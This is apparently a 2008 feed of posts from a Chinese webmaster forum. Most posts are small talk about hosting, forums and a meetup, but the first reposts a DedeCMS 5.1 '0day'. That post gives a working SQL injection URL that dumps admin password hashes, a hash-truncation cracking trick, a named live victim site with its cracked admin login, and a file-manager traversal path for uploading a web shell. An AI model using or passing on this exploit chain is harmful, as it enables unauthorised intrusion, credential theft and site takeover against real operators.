http://www.feitui.com/u/tnrain 这是一个站长建站交流和共享的地方 Technology zh_cn http://www.feitui.com/topic/view/405.html http://www.feitui.com/topic/view/405.html#reply tnrain tnrain Dedecms dedecms GBK 5.1 搜索型注射0day<br /> <br /> 以下内容转载：<br /> <br /> 大家好，期待已久。今天给大家带来新的0day了<img src="/img/icons/silk/emoticon_happy.png" align="absmiddle" style="padding: 0px 2px 0px 2px;" border="0" /><br /> 这个oday是有我老师CHAR发现的，因为工作关系不方便做动画，今天由我来给大家演示<br /> <br /> 漏洞成因:<br /> $q = trim($q);<br /> if($areaid &gt; 0) {<br /> $wheresql = "areaid=$areaid and ";<br /> }<br /> $query = "select ID,typeid,title,memberID,writer,senddate from #@__infos where $wheresql title like '%$q%' order by senddate desc";<br /> 获得变量q,直接放入数据库查询.导致注入产生,这样一个搜索型的注入,本身对于php环境如果设置了magic_quote_gpc=on的话,利用起来是很难的.但是可以结合php多字节编码漏洞,这样,一个相对来说不错的利用方式产生了.可以如下构造,通过get方式提交.<br /> <br /> <br /> 废话不多说大家看操作<br /> <br /> 其他的自己下去研究楼<br /> <br /> 利用地址:<br /> plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*<br /> <br /> 补充:dedecms暴出来的管理员密码只有24位,这里我简单的来说一下,dedecms首先获得某密码的32位MD5加密值,然后去掉后面8位,这样,拿剩下的24位来做为密码的加密值.这里我们可以想到,32位转16位可以把32位的前8位和后8位去掉,剩下的中间就是其16位的加密值,注意：<br /> 我们可以把dedecms中暴出来的那窜24位加密值的前8位去掉,剩下的16位就可以拿去破解了. <br /> 24-8=16<img src="/img/icons/silk/emoticon_happy.png" align="absmiddle" style="padding: 0px 2px 0px 2px;" border="0" /><br /> <br /> 详细了解可到我们学校的网站：<br /> http://www.yhsafe.com<br /> http://www.yhsafe.com/announce/2008/1108/article_46.html<br /> 演示网站：http://www.oiole.com/<br /> <br /> <br /> dede/file_manage_main.php?activepath=/../<br /> <br /> <br /> 直接在网站地址后面加上利用地址就OK<br /> http://www.oiole.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*<br /> <br /> 忽忽，很激动吧，别急<br /> 账号：admin密码：f6e75e3832e763b6 <br /> 密码是24位哦<br /> 呵呵24-8=16<br /> 常识<img src="/img/icons/silk/emoticon_happy.png" align="absmiddle" style="padding: 0px 2px 0px 2px;" border="0" /><br /> 猜出来了密码是：sina.com <br /> 默认的dedecms后台都是dede目录下的，我们来看看<br /> 后台地址：http://www.oiole.com/dede/login.php?gotopage=%2Fdede%2Findex.php<br /> 成功登录，正在转向管理管理主页！<br /> 进入后台怎么拿SHELL那？<br /> ？？？？？<br /> 貌似fckeditor编辑器哦<br /> 废话少说<br /> 看这里了dede/file_manage_main.php?activepath=/../<br /> 直接加到网站后面<br /> http://www.oiole.com/dede/file_manage_main.php?activepath=/../<br /> 最下面新建文件<br /> 压得操作块了<br /> （空白表示根目录 ，不允许用 “..” 形式的路径）<br /> 表示，我们加的文件在根目录下的<br /> test.asp我们打开看看<br /> 哦yes上去了<br /> 动画就到这里吧<br /> <br /> <a class="tpc" href="http://www.yhsafe.com/demo/2008/1109/down_609.html ">http://www.yhsafe.com/demo/2008/1109/down_609.html </a> Sun, 09 Nov 2008 15:18:50 +0800 http://www.feitui.com/topic/view/405.html http://www.feitui.com/topic/view/385.html http://www.feitui.com/topic/view/385.html#reply tnrain tnrain 主机 vps上全都装serv-u了 全冲突了！<br /> <br /> 有没有其他的工具 可以代替它？<br /> <br /> IIS上那个ftp么？<br /> 还没用过它类 呵呵 Mon, 13 Oct 2008 05:55:31 +0800 http://www.feitui.com/topic/view/385.html http://www.feitui.com/topic/view/384.html http://www.feitui.com/topic/view/384.html#reply tnrain tnrain 俱乐部 看yeswan的论坛 一天暴涨 几千人 在线<br /> <br /> 全是用DZ的 论坛带过去的 效果真是不一般! Sun, 12 Oct 2008 15:47:45 +0800 http://www.feitui.com/topic/view/384.html http://www.feitui.com/topic/view/383.html http://www.feitui.com/topic/view/383.html#reply tnrain tnrain 俱乐部 楼下来？ 哈哈 Sat, 11 Oct 2008 15:20:36 +0800 http://www.feitui.com/topic/view/383.html http://www.feitui.com/topic/view/249.html http://www.feitui.com/topic/view/249.html#reply tnrain tnrain DreamHost 新开站点时候 新加了Google mail选项, 可以免费使用google的企业邮局了? Wed, 23 Apr 2008 09:47:19 +0800 http://www.feitui.com/topic/view/249.html http://www.feitui.com/topic/view/224.html http://www.feitui.com/topic/view/224.html#reply tnrain tnrain DreamHost dreamhost怎么在线解压缩，看到个说 要用个压缩工具<br /> <br /> 下下来拉 不知道怎么用。。。 Wed, 09 Apr 2008 22:47:50 +0800 http://www.feitui.com/topic/view/224.html http://www.feitui.com/topic/view/191.html http://www.feitui.com/topic/view/191.html#reply tnrain tnrain 河南站长 尊敬的业界同行：<br /> <br /> 在互联网发展迅猛的今天，我公司及众多网络服务业界同行一起，努力改善产品和服务，为客户满意这个目标而奋斗。<br /> <br /> 但郑州景安机房，无视国家法律，无视商业道德，置公理于不顾，擅自剥夺侵占客户利益。先后曾无理对我公司托管的服务器断网，拒绝道歉和赔偿，我公司被迫终止托管服务器后，无理侵占我公司业务款，并拒绝一切渠道的协商。<br /> <br /> 对此，我公司忍无可忍，将郑州景安机房的行径公诸于众，求助于业界同行。与郑州景安机房的相关资料，及事件进展，都将发布在专题站“断网”，网址是：<br /> <br /> http://www。duanwang。org<br /> <br /> 欢迎广大同行访问和指教。<br /> <br /> 谢谢！<br /> <br /> <br /> 山东滨州泽星互联网络技术有限公司<br /> 2008-2-29 Sat, 01 Mar 2008 01:01:51 +0800 http://www.feitui.com/topic/view/191.html http://www.feitui.com/topic/view/182.html http://www.feitui.com/topic/view/182.html#reply tnrain tnrain 百度联盟 百度联盟也把我K了。。。<br /> <br /> 郁闷。。。 Tue, 26 Feb 2008 15:32:30 +0800 http://www.feitui.com/topic/view/182.html http://www.feitui.com/topic/view/58.html http://www.feitui.com/topic/view/58.html#reply tnrain tnrain 俱乐部 有小变化 不太激动 Sat, 12 Jan 2008 10:28:12 +0800 http://www.feitui.com/topic/view/58.html http://www.feitui.com/topic/view/43.html http://www.feitui.com/topic/view/43.html#reply tnrain tnrain 自言自语 哎 疯了 以前还不是这样了 Sun, 06 Jan 2008 13:55:37 +0800 http://www.feitui.com/topic/view/43.html http://www.feitui.com/topic/view/32.html http://www.feitui.com/topic/view/32.html#reply tnrain tnrain 上海站长 聚会时间：2008年1月12日 13：00<br /> 聚会地点：上海市宛平宾馆三楼 （上海市徐汇区宛平路315号）<br /> 参会人数：&gt; 500人<br /> 参会费用：免费<br /> 媒体宣传：《新闻晨报》、《青年报》、《计算机世界》、《IT时代周刊》、《中国计算机报》、《IT时报》、上海电视台财经频道、新浪网、网易、搜狐……<br /> <br /> 嘉宾邀请人：王晨昀（更多嘉宾邀请中，欢迎自荐或推荐嘉宾 wangchenyun@126.com ）<br /> <br /> 已邀请的嘉宾（排名不分先后）：<br /> <br /> 王志东 点击科技 总经理<br /> 张涛 大众点评网 总经理<br /> 杨伟庆 艾瑞咨询 总经理<br /> 蒋明亮 华宏伟、上海5G<br /> 庞升东 51.com总经理<br /> 王建硕 客齐集 总经理<br /> 达贝妮 Pcpie视频搜索 总经理<br /> 关国光 快钱 总经理<br /> 张国华 篱笆网（无忧团购网）总经理<br /> 戴志康 康盛创想首席执行官<br /> 图王 站长网 创办人<br /> 李寻欢 榕树下总经理<br /> 许广彬 蓝芒科技 总经理<br /> 刘小光 上海火速 总经理<br /> 董勤峰 落伍者网 站长<br /> 陈曦 《创智赢家》 冠军<br /> 华军 华军软件园 站长<br /> 李钟伟 Pchome.net 创办人，现上海商派总经理<br /> 裴大鹏 Shopex总经理（上海商派）<br /> 刘润 央视国际大型公益“慈善1+1”<br /> 黄一孟、戴云杰 VERYCD 站长<br /> <br /> 更多嘉宾邀请中…… Fri, 04 Jan 2008 16:49:52 +0800 http://www.feitui.com/topic/view/32.html http://www.feitui.com/topic/view/1.html http://www.feitui.com/topic/view/1.html#reply tnrain tnrain 河南站长 HOHO` No.1！ Fri, 28 Dec 2007 17:02:22 +0800 http://www.feitui.com/topic/view/1.html